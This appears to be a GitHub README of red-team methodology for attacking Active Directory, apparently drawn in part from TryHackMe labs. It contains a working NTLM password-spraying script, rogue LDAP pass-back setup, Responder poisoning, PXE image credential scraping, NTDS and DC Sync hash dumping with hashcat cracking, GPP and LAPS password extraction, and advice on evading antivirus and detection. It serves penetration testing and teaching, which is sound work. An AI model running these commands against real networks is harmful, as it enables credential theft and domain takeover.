Skip to content

Audit and pentest methodologies for Active Directory including internal enumeration, privesc, lateral movement, etc.

Notifications You must be signed in to change notification settings

Kiosec/AD-Exploitation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

77 Commits
 
 

Repository files navigation

AD-exploitation

Table of contents

I. Manual enumeration
II. Automated enumeration
III. Password harvesting
IV. Exploiting Active Directory

⭕ I. Manual enumeration

🔻Active Directory enumeration through Microsoft Management Console (MMC)

➤ Requirements
  • RDP or GUI access
  • RSAT feature activated or can be activated
➤ Limits
  • The GUI requires RDP access to the machine where it is executed.
  • Although searching for an object is fast, gathering AD wide properties or attributes cannot be performed.
➤ Detect if MMC is installed/activated
1. Right click on Windows
2. Click on 'run'
3. Write 'MMC' and execute 
➤ Install MMC

If the Microsoft Management Console is not directly installed, you can perform the following steps to install RSAT (Remote Server Administration Tools) which include MMC.

1. Press Right on Windows
2. Search 'Apps and Features'
3. Click 'Manage Optional Features'
4. Click 'Add a feature'
5. Search for 'RSAT'
6. Select 'RSAT: Active Directory Domain Services and Lightweight Directory Tools' and click Install

You can now execute MMC, then we can now attach the AD RSAT Snap-In:

1. Click File -> Add/Remove Snap-in
2. Select and Add all three Active Directory Snap-ins
3. Click through any errors and warnings
4. Right-click on Active Directory Domains and Trusts and select Change Forest
Enter <YOUR_DOMAIN> as the Root domain and Click OK
5. Right-click on Active Directory Sites and Services and select Change Forest
Enter <YOUR_DOMAIN> as the Root domain and Click OK
6. Right-click on Active Directory Users and Computers and select Change Domain
Enter <YOUR_DOMAIN> as the Domain and Click OK
7. Right-click on Active Directory Users and Computers in the left-hand pane
8. Click on View -> Advanced Features

image

➤ Execute MMC
1. Right click on Windows
2. Click on 'run'
3. Write 'MMC' and execute 

Run MMC with a specific user (RUNAS): This is where the Runas window comes into play. In that window, we can start MMC, which will ensure that all MMC network connections will use our injected AD credentials.

🔻Active Directory enumeration through Command Prompt

➤ Advantages and Limits
Advantages :
- No tools are required
- No GUI is required
- VBScript and other macro languages that are often used for phishing payloads support these commands natively so they can be used to enumerate initial information regarding the AD domain before more specific payloads are crafted.

Limits :
- The net commands must be executed from a domain-joined machine. However, it will the WORKGROUP default domain.
- The net commads may not show all information (e.g., if a user is a member of more than 10 groups).
➤ List all users in the AD domain
C:\>net user /domain
➤ Enumerate more detailed information about a single user account
C:\>net user <username> /domain
➤ List all groups of the domain
C:\>net group /domain
➤ Enumerate more detailed information about a group
C:\>net group "<group_name>" /domain
➤ Enumerate the password policy of the domain
C:\>net accounts /domain

🔻Active Directory enumeration through Powershell

➤ Advantages and limits
Advantages :
- The PowerShell cmdlets can enumerate significantly more information than the Net commands
- We can specify the server and domain to execute these commands using RUNAS from a non-domain-joined machine.
- We can create our own cmdlets to enumerate specific information.
- We can use the AD-RSAT cmdlets to directly change AD objects, such as resetting passwords or adding a user to a specific group.

Limits:
- PowerShell is often monitored more by the blue teams than Command Prompt.
- We have to install the AD-RSAT tooling or use other, potentially detectable, scripts for PowerShell enumeration.
➤ Enumerate a specific AD users
  • -Identity : The account name that we are enumerating
  • -Properties : Which properties associated with the account will be shown, * will show all properties
  • -Server : Since we are not domain-joined, we have to use this parameter to point it to our domain controller
# Get-ADUser -Identity <username> -Server <AD_name> -Properties *
PS C:\Get-ADUser -Identity kiosec -Server my.domain.com -Properties *
AccountExpirationDate                :
accountExpires                       : 9223372036854775807
AccountLockoutTime                   :
[...]
Deleted                              :
Department                           : Consulting
Description                          :
DisplayName                          : Kiosec
DistinguishedName                    : CN=Kiosec,OU=Consulting,OU=People,DC=my,DC=domain,DC=com
[...]
➤ Enumerate and filter
  • -Filter : parameter that allows more control over enumeration and use the
  • Format-Table : cmdlet to display the results such as the following neatly
# Display the Name and SamAccountName of user finishing by admin
PS C:\> Get-ADUser -Filter 'Name -like "*admin"' -Server my.domain.com | Format-Table Name,SamAccountName -A
Name             SamAccountName
----             --------------
kiosec.admin     kiosec.admin
user1.admin      user1.admin
another.admin    another.admin
[...]
➤ Enumerate a specific AD groups
#Enumerate the AD group Administrators
PS C:\> Get-ADGroup -Identity Administrators -Server my.domain.com -properties *
DistinguishedName : CN=Administrators,CN=Builtin,DC=my,DC=domain,DC=com
GroupCategory     : Security
GroupScope        : DomainLocal
Name              : Administrators
ObjectClass       : group
ObjectGUID        : f4d1cbcd-4a6f-4531-8550-0394c3273c4f
SamAccountName    : Administrators
SID               : S-1-5-32-544
[...]
➤ Enumerate group membership of an AD group
PS C:\> Get-ADGroupMember -Identity Administrators -Server my.domain.com

distinguishedName : CN=Domain Admins,CN=Users,DC=my,DC=domain,DC=com

name              : Domain Admins
objectClass       : group
objectGUID        : 8a6186e5-e20f-4f13-b1b0-067f3326f67c
SamAccountName    : Domain Admins
SID               : S-1-5-21-3330634377-1326264276-632209373-512

distinguishedName : CN=Kiosec.admin,CN=Users,DC=my,DC=domain,DC=com name              : Kiosec.admin
objectClass       : user
objectGUID        : b10fe384-bcce-450b-85c8-218e3c79b30fSamAccountName    : Kiosec.admin
SID               : S-1-5-21-3330634377-1326264276-632209373-500

distinguishedName : CN=Administrator,CN=Users,DC=my,DC=domain,DC=com name              : Administrator
objectClass       : user
objectGUID        : b10fe384-bcce-450b-85c8-218e3c79b30fSamAccountName    : Administrator
SID               : S-1-5-21-3330634377-1326264276-632209373-500
[...]
➤ Retrieve information about a specific domain
PS C:\> Get-ADDomain -Server za.tryhackme.com

AllowedDNSSuffixes                 : {}
ChildDomains                       : {}
ComputersContainer                 : CN=Computers,DC=my,DC=domain,DC=com
DeletedObjectsContainer            : CN=Deleted Objects,DC=my,DC=domain,DC=com
DistinguishedName                  : DC=my,DC=domain,DC=com
DNSRoot                            : my.domain.com
DomainControllersContainer         : OU=Domain Controllers,DC=my,DC=domain,DC=com
[...]
UsersContainer                     : CN=Users,DC=my,DC=domain,DC=com
➤ Retrieve information using AD Objects

A more generic search for any AD objects can be performed using the Get-ADObject cmdlet. For example:

Looking for all AD objects that were changed after a specific date

PS C:\> $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
PS C:\> Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server my.domain.com

Deleted           :
DistinguishedName : DC=my,DC=domain,DC=com
Name              : my
ObjectClass       : domainDNS
ObjectGUID        : 518ee1e7-f427-4e91-a081-bb75e655ce7a

Deleted           :
DistinguishedName : CN=Administrator,CN=Users,DC=my,DC=domain,DC=com
Name              : Administrator
ObjectClass       : user
ObjectGUID        : b10fe384-bcce-450b-85c8-218e3c79b30f

Perform a password spraying attack without locking out accounts, we can use this to enumerate accounts that have a badPwdCount that is greater than 0, to avoid these accounts in our attack

PS C:\> Get-ADObject -Filter 'badPwdCount -gt 0' -Server my.domain.com
PS C:\>
# This only show results if one of the users in the network mistyped their password a couple of times.
➤ Altering an AD Objects

Example : force changing the password of our AD user by using the Set-ADAccountPassword cmdlet

PS C:\> Set-ADAccountPassword -Identity Kiosec.admin -Server my.admin.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)

🔻Active Directory enumeration through Windows management instrumentation (WMI)

https://0xinfection.github.io/posts/wmi-ad-enum/

⭕ II. Automated enumeration

🔻Active Directory enumeration through Bloodhound

➤ Advantages and limits
Advantages :
 - GUI for AD enumeration
 - Show attack paths
 - Automated queries
Limits :
 - Sharphound is noisy and cab be detected by AV and EDR.
➤ Collect data

There are three different Sharphound collectors:

  • Sharphound.ps1 : PowerShell script for running Sharphound. However, the latest release of Sharphound has stopped releasing the Powershell script version. This version is good to use with RATs since the script can be loaded directly into memory, evading on-disk AV scans.
  • Sharphound.exe : A Windows executable version for running Sharphound.
  • AzureHound.ps1 : PowerShell script for running Sharphound for Azure (Microsoft Cloud Computing Services) instances. Bloodhound can ingest data enumerated from Azure to find attack paths related to the configuration of Azure Identity and Access Management.

Important note : Your Bloodhound and Sharphound versions must match for the best results. Usually there are updates made to Bloodhound which means old Sharphound results cannot be ingested.

➤ Execute Sharphound

Important note : When using these collector scripts on an assessment, there is a high likelihood that these files will be detected as malware and raise an alert to the blue team. This is again where our Windows machine that is non-domain-joined can assist. We can use the runas command to inject the AD credentials and point Sharphound to a Domain Controller. Since we control this Windows machine, we can either disable the AV or create exceptions for specific files or folders.

# CollectionMethods - Determines what kind of data Sharphound would collect. The most common options are Default or All. Also, since Sharphound caches information, once the first run has been completed, you can only use the Session collection method to retrieve new user sessions to speed up the process.
# Domain - Here, we specify the domain we want to enumerate. In some instances, you may want to enumerate a parent or other domain that has trust with your existing domain. You can tell Sharphound which domain should be enumerated by altering this parameter.
# ExcludeDCs -This will instruct Sharphound not to touch domain controllers, which reduces the likelihood that the Sharphound run will raise an alert.

Sharphound.exe --CollectionMethods <Methods> --Domain my.domain.com --ExcludeDCs

The detailled optin can be found here : https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html

A good approach is to execute Sharphound with the "All" collection method at the start of your assessment and then execute Sharphound at least twice a day using the "Session" collection method. This will provide a new session data and ensure that these runs are faster since they do not enumerate the entire AD structure again. The best time to execute these session runs is at around 10:00, when users have their first coffee and start to work and again around 14:00, when they get back from their lunch breaks but before they go home. it is possible to clear stagnant session data in Bloodhound on the Database Info tab by clicking the "Clear Session Information" before importing the data from these new Sharphound runs.

➤ Bloodhound

Each of the categories provides the following information:

- Overview : Provides summaries information such as the number of active sessions the account has and if it can reach high-value targets.
- Node Properties : Shows information regarding the AD account, such as the display name and the title.
- Extra Properties : Provides more detailed AD information such as the distinguished name and when the account was created.
- Group Membership : Shows information regarding the groups that the account is a member of.
- Local Admin Rights : Provides information on domain-joined hosts where the account has administrative privileges.
- Execution Rights : Provides information on special privileges such as the ability to RDP into a machine.
- Outbound Control Rights : Shows information regarding AD objects where this account has permissions to modify their attributes.
- Inbound Control Rights : Provides information regarding AD objects that can modify the attributes of this account.

The pre-built analytics queries are queries that the creators of Bloodhound have written themselves to enumerate helpful information.

image

the most basic attack path using only the default and some special edges. Run a search in Bloodhound to enumerate the attack path. Press the path icon to allow for path searching. The start Node would be our AD username, and the End Node will be the Tier 1 Admins group or Domain Admins group.

image

🔻Active Directory enumeration through ADExplorer

🔻Active Directory enumeration through ADRecon

🔻Active Directory enumeration through LDAP enumeration

https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap

🔻Active Directory enumeration through Powerview (Powersploit)

https://github.com/PowerShellMafia/PowerSploit

🔻Enumerating Active Directory

  • /netonly -> Since we are not domain-joined, we want to load the credentials for network authentication but not authenticate against a domain controller. So commands executed locally on the computer will run in the context of your standard Windows account, but any network connections will occur using the account specified here.
  • /user -> Here, we provide the details of the domain and the username. It is always a safe bet to use the Fully Qualified Domain Name (FQDN) instead of just the NetBIOS name of the domain since this will help with resolution.
  • cmd.exe -> This is the program we want to execute once the credentials are injected. This can be changed to anything, but the safest bet is cmd.exe since you can then use that to launch whatever you want, with the credentials injected.
runas.exe /netonly /user:<domain>\<username> cmd.exe

🔻Test is credential is valid

C:\Tools>dir \\my.domain.com\SYSVOL\
 Volume in drive \\my.domain.com\SYSVOL is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\my.domain.com\SYSVOL

02/24/2022  09:57 PM    <DIR>          .
02/24/2022  09:57 PM    <DIR>          ..
02/24/2022  09:57 PM    <JUNCTION>     my.domain.com [C:\Windows\SYSVOL\domain]
               0 File(s)              0 bytes
               3 Dir(s)  51,835,408,384 bytes free

Is there a difference between dir \my.domain.com\SYSVOL and dir \\SYSVOL and why the big fuss about DNS?

There is quite a difference, and it boils down to the authentication method being used. When we provide the hostname, network authentication will attempt first to perform Kerberos authentication. Since Kerberos authentication uses hostnames embedded in the tickets, if we provide the IP instead, we can force the authentication type to be NTLM. While on the surface, this does not matter to us right now, it is good to understand these slight differences since they can allow you to remain more stealthy during a Red team assessment. In some instances, organisations will be monitoring for OverPass- and Pass-The-Hash Attacks. Forcing NTLM authentication is a good trick to have in the book to avoid detection in these cases.

⭕ III. Password enumeration

🔻Windows basic password harvesting

Regarding the basic password harvesting methods which can be exploited on the standard windows laptops, computers and servers, please refer to the dedicated Windows exploitation section using the following link : https://github.com/Kiosec/Windows-Exploitation#-password-harvesting

🔻NTLM Authenticated Services

New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users' identities in AD. NTLM can be used for authentication by using a challenge-response-based scheme called NetNTLM. This authentication mechanism is heavily used by the services on a network. However, services that use NetNTLM can also be exposed to the internet. The following are some of the popular examples:

  • Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.
  • Remote Desktop Protocol (RDP) service of a server being exposed to the internet.
  • Exposed VPN endpoints that were integrated with AD.
  • Web applications that are internet-facing and make use of NetNTLM.

NetNTLM, also often referred to as Windows Authentication or just NTLM Authentication, allows the application to play the role of a middle man between the client and AD. All authentication material is forwarded to a Domain Controller in the form of a challenge, and if completed successfully, the application will authenticate the user.

image

Credit : Image providing from tryhackme.com

Password spraying attack

Example of custom-developed script to stage a password spraying against the web application hosted at this URL: http://ntlmauth.my.domain.com. Navigating to the URL, we can see that it prompts us for Windows Authentication credentials

image

➤ Script :
#!/usr/bin/python3

import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt

class NTLMSprayer:
    def __init__(self, fqdn):
        self.HTTP_AUTH_FAILED_CODE = 401
        self.HTTP_AUTH_SUCCEED_CODE = 200
        self.verbose = True
        self.fqdn = fqdn

    def load_users(self, userfile):
        self.users = []
        lines = open(userfile, 'r').readlines()
        for line in lines:
            self.users.append(line.replace("\r", "").replace("\n", ""))

    def password_spray(self, password, url):
        print ("[*] Starting passwords spray attack using the following password: " + password)
        count = 0
        for user in self.users:
            response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
            if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
                print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
                count += 1
                continue
            if (self.verbose):
                if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                    print ("[-] Failed login with Username: " + user)
        print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

def main(argv):
    userfile = ''
    fqdn = ''
    password = ''
    attackurl = ''

    try:
        opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
    except getopt.GetoptError:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-h':
            print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
            sys.exit()
        elif opt in ("-u", "--userfile"):
            userfile = str(arg)
        elif opt in ("-f", "--fqdn"):
            fqdn = str(arg)
        elif opt in ("-p", "--password"):
            password = str(arg)
        elif opt in ("-a", "--attackurl"):
            attackurl = str(arg)

    if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
        #Start attack
        sprayer = NTLMSprayer(fqdn)
        sprayer.load_users(userfile)
        sprayer.password_spray(password, attackurl)
        sys.exit()
    else:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)



if __name__ == "__main__":
    main(sys.argv[1:])
➤ Usage :
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
We provide the following values for each of the parameters:

<userfile> - Textfile containing our usernames - "usernames.txt"
<fqdn> - Fully qualified domain name associated with the organisation that we are attacking - "my.domain.com"
<password> - The password we want to use for our spraying attack - "Changeme2023"
<attackurl> - The URL of the application that supports Windows Authentication - "http://ntlmauth.my.domain.com"

Example :
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f my.domain.com -p Changeme2023 -a http://ntlmauth.my.domain.com/
[*] Starting passwords spray attack using the following password: Changeme2023
[-] Failed login with Username: john.doe
[-] Failed login with Username: jane.doe
[...]
[+] Valid credential pair found! Username: kiosec Password: Changeme2023
[...]

🔻LDAP Pass-back attacks

A common attack against network devices, such as printers, when you have gained initial access to the internal network.

LDAP Pass-back attacks can be performed when we gain access to a device's configuration where the LDAP parameters are specified. This can be, for example, the web interface of a network printer. Usually, the credentials for these interfaces are kept to the default ones, such as admin:admin or admin:password. Here, we won't be able to directly extract the LDAP credentials since the password is usually hidden. However, we can alter the LDAP configuration, such as the IP or hostname of the LDAP server. In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device. We can intercept this authentication attempt to recover the LDAP credentials.

image

Credit : Image providing from tryhackme.com

Walkthrough

https://www.youtube.com/watch?v=9GNQiv7vPVc

Attack steps - Hosting a vulnerable Rogue LDAP server

➤ 1. Install OpenLDAP
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
➤ 2. Reconfigure the LDAP server
sudo dpkg-reconfigure -p low slapd

- Omit OpenLDAP server configuration? No  
- DNS domain name : <the DC domain name ex : abc.mydomain.com>
- Organization name : idem
- Administrator password : <random_password>
- Database backend to use : MDB
- Do you want the database to be remove when slapd is purged ? : No
- Move olf database ? : Yes
➤ 3. Create the vulnerable supported authentication mechanisms (downgrading level of security)

Create a olcSaslSecProps.ldif file with the following properties

  • olcSaslSecProps: Specifies the SASL security properties
  • noanonymous: Disables mechanisms that support anonymous login
  • minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
➤ 4. Patch the LDAP server with the vulnerable ldif file
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
➤ 5. check the new sepported authentication mechanisms
Kiosec$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
➤ 6. Capturing the ldap credentials through tcpdump
#sudo tcpdump -SX -i <interface> tcp port 389
sudo tcpdump -SX -i tun0 tcp port 389
➤ 7. Change the IP in the LDAP configuration of the printer with your IP and test

image

🔻Responder - Intercept NetNTLM challenge (LLMNR, NBT-NS, ...)

Rather than overburdening network resources such as the DNS servers (or when the DNS fails t oresolve), hosts can (first) attempt to determine if the host they are looking for is on the same local network by sending out multicast message (LLMNR or NBT-NS). requests and seeing if any hosts respond. The NBT-NS is the precursor protocol to LLMNR, and WPAD requests are made to try and find a proxy for future HTTP(s) connections.

By poisoning these requests, Responder attempts to force the client to connect to our AttackBox. In the same line, it starts to host several servers such as SMB, HTTP, SQL, and others to capture these requests and force authentication.

Intercept the challenge

#sudo responder -I <interface>
sudo responder -I tun0

Crack the challenge

hashcat -m 5600 <hash file> <password file> --force

🔻Responder - MITM SMB relaying

image

Credit : Image providing from tryhackme.com

🔻MTD and SCCM - Password scraping attack

One of the configuration of MDT is called Preboot Execution Environment (PXE) boot.

PXE boot allows new devices that are connected to the network to load and install the OS directly over a network connection. MDT can be used to create, manage, and host PXE boot images. PXE boot is usually integrated with DHCP, which means that if DHCP assigns an IP lease, the host is allowed to request the PXE boot image and start the network OS installation process. Once the process is performed, the client will use a TFTP connection to download the PXE boot image.

The communication flow is shown in the diagram below:

image

Credit : Image providing from tryhackme.com

Additonal information and example : https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/

Steps to perform password scraping attacks to recover AD credentials used during the install (From a domain machine)

➤ 0. Information already provided

The first piece of information regarding the PXE Boot preconfigure you would have received via DHCP is the IP of the MDT server (ex: 10.0.0.1)

The second piece of information you would have received was the names of the BCD files. These files store the information relevant to PXE Boots for the different types of architecture. To retrieve this information, you will need to connect to the pxeboot website like http://pxeboot.mydomain.com. It will list various BCD files:

 9/23/2023  7:58 AM         8192 arm64{A54C6104-7E01-4CFF-8E7B-9C86F0FD6481}.bcd
 9/23/2023  2:55 PM         8192 arm64{B5BE7DBE-947D-4147-BAE5-FA41E9736828}.bcd
 9/23/2023  2:55 PM         8192 arm{862F29EC-CC15-4905-A2D1-76645E0F6393}.bcd
 9/23/2023  7:58 AM         8192 arm{C1DD311A-0F09-433A-8508-1649FAC7A65E}.bcd
  3/4/2022  9:41 PM          213 web.config
 9/23/2023  2:55 PM        12288 x64uefi{359A87E4-E531-4AD6-9883-215C58E77DB9}.bcd
 9/23/2023  7:58 AM        12288 x64uefi{3BF7D336-776E-449B-A403-71FC653BC9E4}.bcd
 9/23/2023  2:55 PM        12288 x64{D1CA8A85-6864-44ED-93D4-0F8860F41ED6}.bcd
 9/23/2023  7:58 AM        12288 x64{F33C24B0-AFDB-4E20-ACE5-47F01A798C50}.bcd
 9/23/2023  7:58 AM         8192 x86uefi{1EC156D8-1075-4A26-9099-8AE917F9A134}.bcd
 9/23/2023  2:55 PM         8192 x86uefi{FC5B3A5E-9F5E-4BF2-8B39-F48E5B97101E}.bcd
 9/23/2023  2:55 PM        12288 x86x64{08310DB9-BC3A-4EAF-AB5D-613D458B29F5}.bcd  <====
 9/23/2023  7:58 AM        12288 x86x64{910F5A1C-1746-4366-9DE2-AB2CCF718F2D}.bcd
 9/23/2023  2:55 PM         8192 x86{809F72FE-2C07-412D-8C98-BE87B6BB06EA}.bcd
 9/23/2023  7:58 AM         8192 x86{DA8C1C4F-950E-4F9A-8923-6CC826785708}.bcd

Note : Normally, the files are regenerated by MDT every day.

➤ 1. Enumerate and Retrieve PXE Boot image (PowerPXE tool)

With this initial information now recovered from DHCP, we can enumerate and retrieve the PXE Boot image.

#Move to the powerpxe folder
C:\Users\Kiosec\Documents> cd powerpxe


# Download the BCD file from the MDT server
# tftp -i <MDT_SERVER_IP> GET "<BCD_FILE>" conf.bcd
C:\Users\Kiosec\Documents\pxefolder>tftp -i 10.0.0.1 GET "\Tmp\x86x64{08310DB9-BC3A-4EAF-AB5D-613D458B29F5}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s


#Execute powershell and load the script
C:\Users\Kiosec\Documents\pxefolder>powershell -ep bypass
PS C:\Users\Kiosec\Documents\pxefolder> Import-Module .\PowerPXE.ps1


#Use powerpxe to read the BCD file contents and recover the locations of the PXE Boot images
PS C:\Users\Kiosec\Documents\pxefolder> $BCDFile = "conf.bcd"
PS C:\Users\Kiosec\Documents\pxefolder> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim


# Now that we have the location of the PXE Boot image, we can again use TFTP to download this image
PS C:\Users\Kiosec\Documents\pxefolder> tftp -i 10.0.0.1 GET "\Boot\x64\Images\Li
teTouchPE_x64.wim" pxeboot.wim
Transfer successful: 341899611 bytes in 130 second(s), 2629997 bytes/s


# Recovering the credentials from the PXE Boot Image (.wim)
PS C:\Users\Kiosec\Documents\pxefolder> Get-FindCredentials -WimFile pxeboot.wim      
>> Open pxeboot.wim 
>>>> Finding Bootstrap.ini 
>>>> >>>> DeployRoot = \\MMDTServer\MTDBuildLab$ 
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = MYDOMAIN
>>>> >>>> UserPassword = mysecurepassword01!

🔻Password in the local host configuration files

Multiple credentials can be found into configuration file of the local machines compromised :

  • Web application config files
  • Service configuration files
  • Registry keys
  • Centrally deployed application

In fact, multiple application may be centrally deployed and need a method to authenticate t othe domain during both the installation and the execution phases (e.g., Antivirus, EDR, etc.)

The following enumerate tools allows to automate the password search process : https://github.com/GhostPack/Seatbelt

For password search, attack paths, etc. Please refer to the Windows dedicated github part : https://github.com/Kiosec/Windows-Exploitation

🔻Extract passwords from NTDS

New Technologies Directory Services (NTDS) is a database containing all Active Directory data, including objects, attributes, credentials, etc. NTDS is located inC:\Windows\NTDS by default, and it is encrypted to prevent data extraction from a target machine. Like SAM on a standard Windows, decrypt the NTDS file requires a system Boot Key to attempt to decrypt LSA Isolated credentials, which is stored in the SECURITY file system. The following files are required :

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY
➤ Local NTDS dump

This is done in the case that you have no credentials available but have administrator access to the domain controller.

➤ 1. Dump NTDS file using Ntdsutil tool on the DC
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
➤ 2. Transfer the files into the attacker machine

The two folders Active Directory and registry genereated by Ntdsutil contain contain the three required files (ntds.dit, system and config).

➤ 3. Extract the hash from ntds.dit
kiosec@machine$ python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
➤ Remote dumping (DC Sync attack)

Dump a system and domain controller hashes remotely, which requires credentials, such as passwords or NTLM hashes.

Requirements :

  • Administrative acces to the domain controler or special permission to discuss in DC Sync
  • password or NTLM hashes of the privileged user

The DC Sync is an attack to perform within an Active Directory environment to dump credentials remotely. This attack works when an account (special account with necessary permissions) or AD admin account is compromised that has the following AD permissions:

Replicating Directory Changes Replicating Directory Changes All Replicating Directory Changes in Filtered Set

An adversary takes advantage of these configurations to perform domain replication, commonly referred to as "DC Sync", or Domain Controller Sync.

➤ 1. Execute the DC Sync attack using secretsdump (Impacket)
# -just-dc : argument required for the extraction of the NTDS data
# <domain_name>/<AD_Admin_User> : the authenticated domain user (form : domain/user) who having the creds or hash
# kiosec@attackermachine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc <domain_name>/<AD_Admin_User>@<domain_ip> 
kiosec@attackermachine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc my-domain/admin@10.0.0.1
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[****]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[****]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[****]:::
<...>
➤ 2. cracking the hashes
kiosec@attackermachine$ hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist

🔻Extract passwords from GPP and LAPS

A Windows OS has a built-in Administrator account which can be accessed using a password. Changing passwords in a large Windows environment with many computers is challenging. Therefore, Microsoft implemented multiple methods to change local administrator accounts across workstations using :

  • Group Policy Preferences (GPP) which is the oldest method
  • Local Administrator Password SOlution (LAPS) since 2015

💥 Important note : In a real-world AD environment, the LAPS is enabled on specific machines only. Thus, it's need to enumerate and find the right target computer as well as the right user account to be able to get the LAPS password.

Group Policy Preferences (GPP)

GPP is a tool that allows administrators to create domain policies with embedded credentials. Once the GPP is deployed, different XML files are created in the SYSVOL folder. The issue was the GPP relevant XML files contained a password encrypted using AES-256 bit encryption. Since Domain users can read the content of the SYSVOL folder, it becomes easy to decrypt the stored passwords.

Example the Get-PPPassword.ps1 script of the Powersploit suite : https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

PS C:\tools> .\Get-GPPPassword.ps1
PS C:\tools> .\Get-GPPPassword.ps1 -Server <AD_adress>

Local Administrator Password Solution (LAPS)

Local Administrator Password Solution (LAPS) offers a much more secure approach to remotely managing the local administrator password.

The new method includes two new attributes (ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime) of computer objects in the Active Directory. The ms-mcs-AdmPwd attribute contains a clear-text password of the local administrator, while the ms-mcs-AdmPwdExpirationTime contains the expiration time to reset the password. LAPS uses admpwd.dll to change the local administrator password and update the value of ms-mcs-AdmPwd.

➤ 1. Detect if the computer has the LAPS enabled
#  by checking the admpwd.dll path, it can be check if LAPS is installed in the target machine
C:\Users\kiosec>dir "C:\Program Files\LAPS\CSE"
<...>
06/06/2022  01:01 PM              ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
➤ 2. find which AD organizational unit (OU) has the "All extended rights" attribute that deals with LAPS (MANUALLY)
➤ List all available OU

PS C:\Users\kiosec> Find-AdmPwdExtendedRights -Identity *
Name                 DistinguishedName                                                 Status
----                 -----------------                                                 ------
Domain Controllers   OU=Domain Controllers,DC=my,DC=dc                               Delegated
ABC               OU=ABC,DC=my,DC=dc                                                 Delegated


➤ 3 Detect which AD organizational unit (OU) has the extended rigth to deal with LAPS

PS C:\Users\kiosec> Find-AdmPwdExtendedRights -Identity *
ObjectDN                                      ExtendedRightHolders
--------                                      --------------------
OU=ABC,DC=my,DC=dc                       {ABC\GroupReader}

💥Important Note : As example, the domain group "GroupReader" has the right access to LAPS. The next step will be to enumerate the group members and try to impersonate one of those members.

➤ 2.b find which AD organizational unit (OU) has the "All extended rights" attribute that deals with LAPS (AUTOMATED)

Module link : https://github.com/leoloobeek/LAPSToolkit

# Import the module LAPSTOOLKIT https://github.com/leoloobeek/LAPSToolkit
PS C:\Tools> Import-Module .\LAPSToolkit.ps1

# Check the powershell LAPS command
PS C:\Tools> Get-Command *LAPS*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Find-LAPSDelegatedGroups
Function        Get-LAPSComputers

# Find the LAPS delegated groups
PS C:\Tools> Find-LAPSDelegatedGroups

OrgUnit                 Delegated Groups
-------                 ----------------
OU=THMorg,DC=thm,DC=red THM\LAPsReader

💥Important Note : As example, the domain group "GroupReader" has the right access to LAPS. The next step will be to enumerate the group members and try to impersonate one of those members.

➤ 3. Obtain the password

Once the user having the attributed to read LAPS has been impersonated, execute the following command to retrieve the system password of the targe machine with LAPS enabled.

# PS C:\> Get-AdmPwdPassword -ComputerName <computer_name>
PS C:\> Get-AdmPwdPassword -ComputerName targeted-windows

ComputerName         DistinguishedName                             Password           ExpirationTimestamp
------------         -----------------                             --------           -------------------
